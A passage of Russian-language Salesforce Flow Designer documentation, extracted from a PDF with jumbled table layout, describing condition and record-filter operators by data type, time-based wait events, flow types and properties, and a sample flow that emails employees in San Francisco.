Условие истинностиОператор

ЛогическийПользователь выбирает данный выбор или динамический выбор в поле ввода
выбора.

Если поток ссылается на один элемент выбора в разных окнах, то оператор
«выбрано» всегда оценивается по последнему окну, просмотренному потоком.

выбрано

Если поток ссылается на один элемент выбора с пользовательским вводом в
нескольких областях одного окна, то данный оператор всегда оценивает первое
использование в окне.

Коллекция

Проверка значения ресурса типа «Коллекция» на наличие или соответствие другому значению или ресурсу.

Поддерживаемые
типы данных

Условие истинностиОператор

Различается

Если ресурс
является

Элемент коллекции, выбранный как ресурс, содержит абсолютно одинаковое
значение, выбранное как значение.

содержит

переменной
коллекции sObject,
то поддерживаются
только ресурсы
sObject с
одинаковым типом
объекта.

Впротивномслучае,
поддерживаются
только ресурсы с
одинаковым типом
данных.

Коллекция

Если ресурс
является

Коллекция, выбранная как ресурс, не соответствует коллекции, выбранной как
значение.

Две переменные коллекции sObject являются неравными, если содержат разные
поля или разные значения полей.

не равно

переменной
коллекции sObject,
то поддерживаются
только переменные
коллекции sObject с
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Поддерживаемые
типы данных

Условие истинностиОператор

одинаковым типом
объекта.

Впротивномслучае,
поддерживаются
только переменные
коллекции с
одинаковым типом
данных.

Коллекция

Если ресурс
является

Коллекция, выбраннаякакресурс, соответствуетколлекции, выбраннойкакзначение.

Две переменные коллекции sObject являются равными, если содержат одинаковые
поля, которые содержат одинаковые значения.

равно

переменной
коллекции sObject,
то поддерживаются
только переменные
коллекции sObject с
одинаковым типом
объекта.

Впротивномслучае,
поддерживаются
только переменные
коллекции с
одинаковым типом
данных.

ЛогическийКоллекция, выбранная как ресурс, не заполняется значениями.равно нулю

Валютаичисло

Проверка значения ресурса типа «Валюта» или «Число» на соответствие, превышение или не превышение другого
значения или ресурса.

Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно • Валюта

• Число

Значение, выбранноекакресурс, соответствуетданным, введеннымиливыбранным
как значение.

равно • Валюта

• Число

Значение ресурса превышает данные, введенные или выбранные как значение.больше • Валюта
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Поддерживаемые
типы данных

Условие истинностиОператор

• Число

Значениересурсапревышаетилисоответствуетданным, введеннымиливыбранным
как значение.

больше или
равно

• Валюта

• Число

Значение ресурса не превышает данные, введенные или выбранные как значение.меньше • Валюта

• Число

Значение ресурса не превышает или соответствует данным, введенным или
выбранным как значение.

меньше или
равно

• Валюта

• Число

ЛогическийРесурс не заполняется значением.равно нулю

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

Датаи дата/время

Проверка значения ресурса типа «Дата» или «Дата/время» на соответствие, предшествование или следование за другим
значением или ресурсом.

Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно • Дата

• Дата/время

Значение, выбранноекакресурс, соответствуетданным, введеннымиливыбранным
как значение.

равно • Дата

• Дата/время

Значение ресурса является более поздней датой или временем, чем данные,
введенные или выбранные как значение.

больше • Дата

• Дата/время

Значение ресурса является более поздней или аналогичной датой или временем,
чем данные, введенные или выбранные как значение.

больше или
равно

• Дата

• Дата/время

Значениересурсаявляетсяболеераннейдатойиливременем, чемданные, введенные
или выбранные как значение.

меньше • Дата

• Дата/время

Значение ресурса является более ранней или аналогичной датой или временем,
чем данные, введенные или выбранные как значение.

меньше или
равно

• Дата

• Дата/время
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Поддерживаемые
типы данных

Условие истинностиОператор

ЛогическийРесурс не заполняется значением.равно нулю

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

Раскрывающийся список

Проверка значения ресурса типа «Раскрывающийся список» на соответствиеилиналичие другого значенияилиресурса.

Прим.: Данные операторы обрабатывают значение ресурса как текстовое значение.

Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, содержит данные, введенные или выбранные как
значение.

Например, если {!varPicklist} содержитзначение yellow-green, тоусловие
«{!varPicklist} содержит green» оценивается как истинное.

содержит • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Значение, выбранноекакресурс, соответствуетданным, введеннымиливыбранным
как значение.

равно • Логический

• Валюта
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Поддерживаемые
типы данных

Условие истинностиОператор

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

Раскрывающийся список сомножественнымвыбором

Проверка значения ресурса типа «Раскрывающийся список со множественным выбором» на соответствие или наличие
другого значения или ресурса.

Прим.: Данныеоператорыобрабатываютзначениересурса как текстовое значение. Еслизначениересурса содержит
несколько элементов, тооператорыобрабатываютданное значение какодну строку, элементыкоторойразделяются
точкой с запятой. Операторы не обрабатывают каждый элемент как отдельное значение. Например, операторы
обрабатывают строку red; blue; green как одно значение, но не как три отдельных значения.

Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, содержит данные, введенные или выбранные как
значение.

содержит • Логический

• Валюта
Совет: При использовании данного оператора для ресурса типа
«Раскрывающийся список со множественным выбором» просмотрите

• Дата

• Дата/время
значения, доступные пользователю для ввода. Чтобы проверить наличие

• Раскрывающийся
список со

конкретногозначения, а такжеегоиспользованиевдругомзначении, создайте
ресурс «Формула», использующийфункцию INCLUDES.

Например, организация использует значение раскрывающегося списка со
множественным выбором «Color». Среди возможных значений встречаются

множественным
выбором

• Число«green» и «yellow-green». Если допустимыми являются оба значения «green»
• Раскрывающийся

список
и «yellow-green», воспользуйтесь оператором «содержит» в условии потока.
Если допустимым является только значение «green», создайте формулу,
использующуюфункцию INCLUDES(). • Текст
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Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно • Логический

• Валюта
Прим.: Порядокиграет важнуюроль. Приналичиисомненийотносительно
порядка отображения проверяемых значений воспользуйтесь функцией

• Дата

• Дата/время
INCLUDES() вформулепотока. Например, присравнениистрок «red; blue; green»

• Раскрывающийся
список со

и «blue; green; red» посредством оператора «не равно» данное условие
возвращает истинное значение.

множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Значение, выбранное какресурс, полностьюсоответствует данным, введеннымили
выбранным как значение.

равно • Логический

• Валюта
Прим.: Порядокиграет важнуюроль. Приналичиисомненийотносительно
порядка отображения проверяемых значений воспользуйтесь функцией

• Дата

• Дата/время
INCLUDES() вформулепотока. Например, присравнениистрок «red; blue; green»

• Раскрывающийся
список со

и «blue; green; red» посредствомоператора «равно» данноеусловиевозвращает
ложное значение.

множественным
выбором

• Число

• Раскрывающийся
список

• Текст

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

sObject

Проверка значения ресурса типа «sObject» на соответствие другому значению или ресурсу.

Поддерживаемые
типы данных

Условие истинностиОператор

sObject с
аналогичнымтипом
объекта

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно
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Поддерживаемые
типы данных

Условие истинностиОператор

sObject с
аналогичнымтипом
объекта

Значение, выбранноекакресурс, соответствуетданным, введеннымиливыбранным
как значение.

равно

ЛогическийРесурс не заполняется значением.равно нулю

Текст

Проверка значенияресурса типа «Текст» на соответствие, наличие, окончаниеилиначало с другого значенияилиресурса.

Прим.: Значения сравниваются с ресурсом типа «Текст» после преобразования в строковые значения.

Поддерживаемые
типы данных

Условие истинностиОператор

Значение, выбранное как ресурс, содержит данные, введенные или выбранные как
значение.

содержит • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Значение, выбранное как ресурс, не соответствует данным, введенным или
выбранным как значение.

не равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Значение, выбранноекакресурс, соответствуетданным, введеннымиливыбранным
как значение.

равно • Логический
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Поддерживаемые
типы данных

Условие истинностиОператор

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

Окончание значения, выбранного как ресурс, соответствует данным, введенным
или выбранным как значение.

заканчивается
на

• Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст

ЛогическийРесурс не заполняется значением.равно нулю

Начало значения, выбранного как ресурс, соответствует данным, введенным или
выбранным как значение.

начинается с • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся
список со
множественным
выбором

• Число

• Раскрывающийся
список

• Текст
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Поддерживаемые
типы данных

Условие истинностиОператор

ЛогическийЗначение ресурса является полем переменной sObject, которое как минимум один
раз заполнялось значением в потоке.

задано

Операторы в фильтрах записей потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Фильтр записи потока ограничивает область записей, обрабатываемых потоком.
Например, воспользуйтесь фильтром записей для обновления только контактов,
связанных с организацией 1. При добавлении элемента «Обновление записи»
воспользуйтесь фильтрами записей для ограничения области только контактами, где
организация 1 является родительской.

Данный раздел содержит справочную информацию по поддерживаемым операторам
для каждого типа данных выбранного поля.

• Поля типа «Адрес»

• Поля типа «Автонумерация»

• Поля типа «Кнопка-флажок»

• Поля типа «Валюта»

• Поля типа «Дата»

• Поля типа «Дата/время»

• Поля типа «Эл. почта»

• Поля типа «Текст (зашифрованный)»

• Поля типа «Взаимосвязь внешнего поиска»

• Поля типа «Факс»

• Поля типа «Взаимосвязь поиска»

• Поля типа «Раскрывающийся список (множественный выбор)»

• Поля типа «Число»

• Родительские поля

• Поля типа «Процент»

• Поля типа «Тел.»

• Поля типа «Раскрывающийся список»

• Поля типа «Текст»

• Поля типа «Область подробного текста»

• Поля типа «Область обогащенного текста»

• Поля типа «URL-адрес»

Поля типа «Кнопка-флажок»

При выборе поля типа «Кнопка-флажок» доступны указанные ниже операторы.
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Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

ЛогическийНе соответствует данным, введенным
или выбранным как значение.

не равно

ЛогическийСоответствуетданным, введеннымили
выбранным как значение.

равно

ЛогическийПока не заполнено значением (при
выборе значения «Истина»).

равно нулю

Совет: Поток обрабатывает значение null как значение, отличное от false.Прифильтрации по записям, поле
для флажка которой имеет значение null, не будет возвращено ни одной записи.

Поля типа «Валюта», «Число» и «Процент»

При выборе поля типа «Валюта», «Число» или «Процент» доступны указанные ниже операторы.

Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

Не соответствует данным, введенным
или выбранным как значение.

не равно • Валюта

• Число

Соответствуетданным, введеннымили
выбранным как значение.

равно • Валюта

• Число

Превышает данные, введенные или
выбранные как значение.

больше • Валюта

• Число

Превышаетилисоответствуетданным,
введенным или выбранным как
значение.

больше или равно • Валюта

• Число

ЛогическийПока не заполнено значением (при
выборе значения «Истина»).

равно нулю

Не превышает данные, введенные или
выбранные как значение.

меньше • Валюта

• Число

Не превышает или соответствует
данным, введенным или выбранным
как значение.

меньше или равно • Валюта

• Число

Датаи дата/время

При выборе поля типа «Дата» или «Дата/время» доступны указанные ниже операторы.
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Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

Значение, выбранное как ресурс, не
соответствует данным, введеннымили
выбранным как значение.

не равно • Дата

• Дата/время

Значение, выбранное как ресурс,
соответствует данным, введеннымили
выбранным как значение.

равно • Дата

• Дата/время

Значение ресурса является более
поздней датой или временем, чем

больше • Дата

• Дата/времяданные, введенныеили выбранные как
значение.

Значение ресурса является более
поздней или аналогичной датой или

больше или равно • Дата

• Дата/времявременем, чем данные, введенные или
выбранные как значение.

ЛогическийПока не заполнено значением (при
выборе значения «Истина»).

равно нулю

Значение ресурса является более
ранней датой или временем, чем

меньше • Дата

• Дата/времяданные, введенныеили выбранные как
значение.

Значение ресурса является более
ранней или аналогичной датой или

меньше или равно • Дата

• Дата/времявременем, чем данные, введенные или
выбранные как значение.

Поля типа «Раскрывающийся список» и «Текст»

При выборе поля типа «Раскрывающийся список» или «Текст» доступны указанные ниже операторы.

Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

Содержит данные, введенные или
выбранные как значение.

содержит • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

5008

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

• Текст

Не соответствует данным, введенным
или выбранным как значение.

не равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

Соответствуетданным, введеннымили
выбранным как значение.

равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

Заканчивается на данные, введенные
или выбранные как значение.

заканчивается на • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

ЛогическийПока не заполнено значением (при
выборе значения «Истина»).

равно нулю

Начинается с данных, введенных или
выбранных как значение.

начинается с • Логический

• Валюта

• Дата

• Дата/время
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Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

Поля типа «Раскрывающийся список (множественныйвыбор)»

При выборе поля типа «Раскрывающийся список (множественный выбор)» доступны указанные ниже операторы.

Совет: Рекомендуем внимательно использовать данные операторы для фильтрации записей на основе поля типа
«Раскрывающийсясписок (множественныйвыбор)». Несмотрянаналичиеодинаковыхэлементоввраскрывающемся
спискесомножественнымвыбором, сопоставлениедвухресурсовнеможетбытьвыполненоприразличииуказанных
ниже компонентов.

• Интервалдоилипосле точкис запятой. Например, одинресурсиспользует значение «red; green; blue», а другой —
значение «red;green;blue».

• Порядок элементов. Например, один ресурс использует значение «red; green; blue», а другой — значение «red;
blue; green».

Рекомендуем использовать функцию INCLUDES в формуле потока.

Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

Не соответствует данным, введенным
или выбранным как значение.

не равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

Соответствуетданным, введеннымили
выбранным как значение.

равно • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число
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Поддерживаемые типы данныхФильтрация до записей, где
значение выбранного поля...

Оператор

• Раскрывающийся список

• Текст

Заканчивается на данные, введенные
или выбранные как значение.

заканчивается на • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

ЛогическийПока не заполнено значением (при
выборе значения «Истина»).

равно нулю

Начинается с данных, введенных или
выбранных как значение.

начинается с • Логический

• Валюта

• Дата

• Дата/время

• Раскрывающийся список со
множественным выбором

• Число

• Раскрывающийся список

• Текст

Типы событий потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметр «Тип события» определяет поля, используемые для определения события в
элементе «Ожидание». Обоими доступными типами событий являются оповещения,
состоящие из значения даты/времени (базовое время) и дополнительного смещения
относительно данного времени.

Базовое время (всегда является обязательным) — это значение даты/времени, которое
используется в качествеосновыдляоповещения. Приотсутствиисмещенияоповещение
всегда использует точное значение базового времени. В зависимости от выбранного
типа события, базовое время может состоять из одного или нескольких полей.

Смещение (является дополнительным) — этопромежуток временидоилипослебазового
временидля выполненияоповещения. Смещение всегда состоитиз двухполей: «Число
смещения» и «Единица смещения». Например, чтобы выполнять оповещение через
три дня после наступления базового времени, введите число «3» и единицу «Дни».
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Оповещения по абсолютному времени
Оповещениепоабсолютномувременидожидаетсяопределенноговременинаоснове абсолютного значениядаты/времени.
Например, данный тип события в элементе «Ожидание» позволяет выполнять какое-либо действие через день после
начала сеансом потока процесса ожидания.

Оповещения по относительному времени
Оповещениепоотносительномувременидожидаетсяопределенноговременинаосновеполядаты/временизаписи. Например,
данный тип событияпозволяет выполнять какое-либо действие за три дня донаступления датыокончания контракта.

СМ. ТАКЖЕ:

Элемент «Ожидание» в потоке

Оповещения по абсолютному времени

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Оповещение по абсолютному времени дожидается определенного времени на основе
абсолютного значения даты/времени. Например, данный тип события в элементе
«Ожидание» позволяет выполнять какое-либодействиечерез деньпосленачала сеансом
потока процесса ожидания.

При настройке элемента «Ожидание» в потоке выполните указанные ниже действия.

• Определите события, ожидаемые потоком.

• Назначьте данные из наступившего события переменным потока.

Условия события

Ниже перечислены параметры, доступные для определения событий, поле «Тип
события» которых содержит значение «Оповещение: абсолютное время».

ПримерОписаниеПараметр

{!$Flow.CurrentDate}Значениедаты/времени. Призаполненииполей «Число смещения»
и «Единица смещения» значение данного поля является основой
для смещения.

При необходимости введите значение даты/времени или добавьте
ссылку на поле слияния или ресурс потока вручную.

Базовое время

-3Дополнительно. Количестводнейиличасовдля смещения значения
параметра «Базовое время». Данныйпараметрявляетсяобязательным

Число смещения

призаполненииполя «Единица смещения».Значениедолжнобыть
введено вручнуюи соответствовать целому числу. Данное значение
не может содержать поле слияния или ресурс потока.

Чтобы выполнять оповещение до значения параметра «Базовое
время», введитеотрицательноечисло. Чтобывыполнятьоповещение
после значенияпараметра «Базовое время», введитеположительное
число.
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ПримерОписаниеПараметр

ДниДополнительно. Единица для смещения значения параметра
«Базовое время». Данный параметр является обязательным при
заполнении поля «Число смещения».

Введите значение «Дни» или «Часы» вручную. Данное значениене
может содержать поле слияния или ресурс потока.

Единица смещения

Пример потока, ожидающего оповещения по абсолютному времени, см. в разделе «Образец потока, ожидающего
отдельное событие».

Выводысобытия

Чтобы воспользоваться данными из события в потоке, назначьте его выводы переменным потока.

ПримерОписаниеПараметр

11/26/2014 10:12 AMФактическое время наступления события и возобновления
сеанса потока.

Базовое время

ДоставленоСтатус события при возобновлении сеанса потока. Система
Salesforce доставляет наступившее событие в ожидающий

Статус доставки события

поток; данное действие обрабатывается потоком как сигнал
для возобновления. Допустимые значения:

• «Доставлено»: событие доставлено.

• «Недопустимо»: событие не доставлено, но поток
возобновлен.

СМ. ТАКЖЕ:

Типы событий потока

Оповещения по относительному времени

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Оповещение по относительному времени дожидается определенного времени на основе поля
даты/временизаписи. Например, данныйтипсобытияпозволяет выполнятькакое-либо
действие за три дня до наступления даты окончания контракта.

При настройке элемента «Ожидание» в потоке выполните указанные ниже действия.

• Определите события, ожидаемые потоком.

• Назначьте данные из наступившего события переменным потока.

Условия события

Ниже перечислены параметры, доступные для определения событий, поле «Тип
события» которых содержит значение «Оповещение: относительное время».
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ПримерОписаниеПараметр

ContractAPI-имя объекта, поле которого должно использоваться для
оповещения. См. подраздел «Поддерживаемые объекты» на
странице 5015.

Введите строку вручную. Данное значение не может
содержать поле слияния или ресурс потока.

Тип объекта

EndDateAPI-имядляполядатыилидаты/времениуказанногообъекта.
При заполнении полей «Число смещения» и «Единица

Поле базовой
даты/времени

смещения» значение данного поля является основой для
смещения.

Введите строку вручную.

{!ContractId}Код записи, используемой в качестве основы оповещения.
Типобъекта записидолженсоответствовать значениюполя
«Тип объекта».

Принеобходимостивведитестроку, полеслиянияилиресурс
потока.

Код записи

-3Дополнительно. Количество дней или часов для смещения
значенияпараметра «Поле базовой даты/времени». Данный

Число смещения

параметр является обязательным при заполнении поля
«Единица смещения».

Значение должно быть введено вручную и соответствовать
целому числу. Данное значение не может содержать поле
слияния или ресурс потока.

Чтобывыполнятьоповещениедозначенияпараметра «Поле
базовой даты/времени», введите отрицательное число.
Чтобы выполнять оповещение после значения параметра
«Поле базовой даты/времени», введите положительное
число.

ДниДополнительно. Единицадлясмещениязначенияпараметра
«Поле базовой даты/времени». Данныйпараметр является
обязательным при заполнении поля «Число смещения».

Введите значение «Дни» или «Часы» вручную. Данное
значение не может содержать поле слияния или ресурс
потока.

Единица смещения

Примеры потоков, ожидающих оповещений по относительному времени, см. в разделе «Образец потока, ожидающего
только первое событие» или «Образец потока, ожидающего множество событий».
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Выводысобытия

Чтобы воспользоваться данными из события в потоке, назначьте его выводы переменным потока.

ПримерОписаниеПараметр

11/26/2014 10:12 AMФактическое время наступления события и возобновления
сеанса потока.

Базовое время

ДоставленоСтатус события при возобновлении сеанса потока. Система
Salesforce доставляет наступившее событие в ожидающий

Статус доставки события

поток; данное действие обрабатывается потоком как сигнал
для возобновления. Допустимые значения:

• «Доставлено»: событие доставлено.

• «Недопустимо»: событие не доставлено, но поток
возобновлен.

Поддерживаемыеобъекты

Пользователи могут создавать оповещения по относительному времени для любого настраиваемого или стандартного
объекта ниже.

• Account

• Asset

• Campaign

• CampaignMember

• Case

• CaseComment

• Certification

• CertificationDef

• CertificationSectionDef

• CertificationStep

• CertificationStepDef

• Contact

• Contract

• ContractLineItem

• DandBCompany

• DuplicateRecordItem

• DuplicateRecordSet

• EmailMessage

• Entitlement

• EntitlementContact

• EnvironmentHubMember

• EnvironmentHubMemberRel
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• Event

• ExternalEventMapping

• FeedItem

• Goal

• GoalLink

• Idea

• IdentityProvEventLog

• Lead

• LiveAgentSession

• LiveChatTranscript

• LiveChatTranscriptEvent

• LiveChatTranscriptSkill

• Macro

• MacroAction

• MacroInstruction

• Показатель

• MobileDeviceCommand

• Возможность

• OpportunityLineItem

• OpportunitySplit

• OpportunityTeamMember

• Order

• OrderItem

• Organization

• PersonAccount

• Продукт

• ProfileSkill

• ProfileSkillEndorsement

• ProfileSkillUser

• Question

• QuickText

• Quote

• QuoteLineItem

• Reply

• SOSSession

• SOSSessionActivity

• ServiceContract

• SignupRequest

• Site

• SocialPersona
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• SocialPost

• Solution

• SsoUserMapping

• StreamingChannel

• Задача

• UsageEntitlementPeriod

• Пользователь

• UserLicense

• UserProvisioningRequest

• WorkBadge

• WorkBadgeDefinition

• WorkCoaching

• WorkFeedback

• WorkFeedbackQuestion

• WorkFeedbackQuestionSet

• WorkFeedbackRequest

• WorkFeedbackTemplate

• WorkGoal

• WorkPerformanceCycle

• WorkReward

• WorkRewardFund

• WorkRewardFundType

• WorkThanks

• WorkUpgradeAction

• WorkUpgradeCustomer

• WorkUpgradeUser

• articleType_kav

СМ. ТАКЖЕ:

Типы событий потока
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Типы потоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Типпотокаиливерсиипотокаопределяетподдерживаемыеэлементыиресурсы, а также
способы распространения потока.

Стандартные типы потоков

Нижеперечисленытипыпотоков, поддерживаемыеоблачнойверсиейприложения Flow
Designer.

ОписаниеТип

Данный тип требует взаимодействия с пользователем ввиду наличия как
минимум одного элемента «Окно», «Действие», «Выбор» или
«Динамический выбор».

Данный тип потока не поддерживает элементы «Ожидание».

Поток

Поток может быть внедрен посредством настраиваемой кнопки,
настраиваемой ссылки, прямого URL-адреса, страницы Visualforce или
действия Salesforce1.

Данный тип не требует взаимодействия с пользователем.

Данный тип потока не поддерживает элементы «Окно», «Действие»,
«Выбор» или «Динамический выбор».

Автоматически
запущенный
поток

Автоматическизапущенныйпотокможетбытьвнедренлюбымспособом,
который поддерживается потоком, а также посредством действия
процесса, действия бизнес-правила (пробная версия) или кода Apex.

Данныйтипинициализируетпользователейдлястороннихслужб. Поток
инициализации пользователя может быть внедрен только путем

Поток
инициализации
пользователя назначения связанного приложения при выполнении мастера

инициализации пользователя. Данный тип инициализирует
пользователей для сторонних служб. Например, рекомендуем
использовать данный тип потока для настройки конфигурации
инициализации пользователя для связанного приложения,
поддерживающей связывание пользователей Salesforce с аккаунтами
Google Apps.

Другие типы потоков

Облачная версия приложения Flow Designer поддерживает не все типы потоков. Некоторые типы потоков используются
другимиобластямисистемы Salesforce. ОблачнаяверсияприложенияFlow Designerнепозволяетсоздаватьилиредактировать
данные потоки, поэтому они не отображаются списком потоков. Тем не менее, сеансы одного из данных типов могут
отображаться списком «Приостановленные и ожидающие сеансы» на странице управления потоками.

Например, выполнение процесса (из конструктора процессов) инициирует создание сеанса потока. В списке
«Приостановленные и ожидающие сеансы» данному сеансу назначается тип «Бизнес-правило».
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ОписаниеТип

Выполняемый экземпляр процесса, созданного в конструкторе процессов.Бизнес-правило

СМ. ТАКЖЕ:

Свойства потока

Поток и поля с версией потока

Инициализация пользователя для связанных приложений

Свойства потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Свойства потока состоят из имени, описания, метки сеанса и типа. Данные свойства
определяют значения полей, отображаемые на странице сведений о потоке или версии
потока. Свойства потока отделены от свойств версий потока.

Совет: По умолчанию свойства для версий заданного потока автоматически
соответствуют свойствам активной версии. Другими словами, при наличии трех
версий и активации версии 2 система Salesforce обновляет свойства версий 1 и 3
для соответствия версии 2. Тем не менее, редактирование свойств неактивной
версиипрепятствуетавтоматическомуобновлениюеесвойствсцельюсоответствия
активной версии.

Чтобы обновить свойства потока или версии потока, нажмите кнопку в облачной
версии приложения Flow Designer.

ОписаниеСвойство

Имя потока или версии потока. Имя отображается на странице управления потоками и
странице сведений о потоке. Кроме того, оно отображается в динамическом
пользовательском интерфейсе.

При необходимости измените имя для неактивного потока или версии потока.

Имя

Уникальное имя потока. Уникальное имя используется для ссылки на данный поток из
других областей системы Salesforce (например, URL-адрес или страница Visualforce).

Уникальное имя

Уникальноеимяможет содержать только буквы, цифрыи символыподчеркивания. Имя
должно начинаться с буквы; не может содержать пробелов и двух последовательных
символов подчеркивания, а также не может заканчиваться символом подчеркивания.
Уникальное имя отображается на странице сведений о потоке.

Уникальное имя не может быть изменено после сохранения потока.

Описание потока или версии потока. Описание отображается на странице управления
потоками и странице сведений о потоке.

При необходимости измените описание для неактивного потока или версии потока.

Описание

Тип потока или версии потока. Тип отображается на странице управления потоками и
странице сведений о потоке. Тип определяет элементы и ресурсы, поддерживаемые

Тип

потоком или версией потока, а также способы внедрения потока. Дополнительную
информацию см. в разделе «Типы потоков» на странице 5018.

5019

Visual WorkflowРасширение Salesforce посредством интерактивных
инструментов



ОписаниеСвойство

Тип «Поток входа» не может быть обновлен после сохранения потока.

Меткадлясеансовпотока. Сеанс — этовыполняемыйэкземплярпотока. Нижеперечислены
области отображения данной метки.

Метка сеанса

• Список «Приостановленныеиожидающиесеансы» настраницеуправленияпотоками

• Компонент «Приостановленные сеансы» на вкладке «Начальная страница»

• Элемент «Приостановленные сеансы» в приложении Salesforce1

При необходимости измените метку сеанса для неактивного потока или версии потока.
По умолчанию метка сеанса содержит имя потока и системную переменную
{!$Flow.CurrentDateTime}.

Рекомендуем использовать текстовыйшаблон для ссылки на разные ресурсы в метке.
Например, Имя потока - {!Account.Name} - {!$Flow.CurrentDateTime}.

СМ. ТАКЖЕ:

Сохранение потока

Поток и поля с версией потока

Образцы потоков

Образец потока, заполняющего переменную коллекции

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Заполните переменную коллекции путем заполнения переменной коллекции sObject.
Затем назначьте переменной коллекции значения переменной коллекции sObject.

Сценарий

Данный сценарий предполагает отправку сообщения эл. почты всем сотрудникам,
проживающим в Сан-Франциско.

Элемент «Отправка эл. почты» позволяет отправлять сообщения эл. почты из потока.
Тем не менее, параметр «Получатели» принимает только текстовые переменные и
текстовые переменные коллекции. Ввиду наличия нескольких пользователей,
проживающих в Сан-Франциско, рекомендуем использовать переменную коллекции
(взамен ввода отдельного адреса эл. почты для каждого пользователя).

Элементы «Быстрыйпоиск» и «Поиск записи» немогут использоваться для заполненияпеременных коллекции. Сначала
заполните переменную коллекции sObject на основе пользователя значениями полей, включая поле «Эл. почта», из
записей сотрудников, проживающих в Сан-Франциско. Затем добавьте данные сообщения эл. почты в переменную
коллекции.

Затемвыберите заполненнуюпеременнуюколлекциивкачестве значениядляпараметра «Адреса эл. почты (набор)»
элемента «Отправка эл. почты».

Пример: Данный поток уже содержит данные ресурсы.

• Переменная коллекции sObject на основе пользователя (employeesInSF)
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• Переменная sObject на основе пользователя (loopVariable)

• Переменная коллекции на основе текста (emails_employeesInSF)

Пример потока:

1. находит все записи пользователей, поле «Город» которых содержит значение «Сан-Франциско», и заполняет
переменную employeesInSF значением поля «Эл. почта» данных записей.

Переменная employeesInSF являетсяпеременнойколлекции sObject, поэтомудолжназаполнятьсяпосредством
элемента «Быстрый поиск».

2. выполняетциклпопеременнойколлекции sObject дляобработкикаждойотдельной записипользователя. Цикл
копирует значения каждого элемента переменной employeesInSF в переменную loopVariable.

3. назначает значение поля «Эл. почта» пользователя переменной коллекции, использующей тип данных
«Текст», для каждой итерации.

4. отправляет сообщение эл. почты пользователям, адреса эл. почты которых теперь хранятся в переменной
emails_employeesInSF, по завершении цикла.

СМ. ТАКЖЕ:

Ресурс потока «Переменная коллекции»

Добавление значений в переменную коллекции

Образцы потоков, ожидающих события

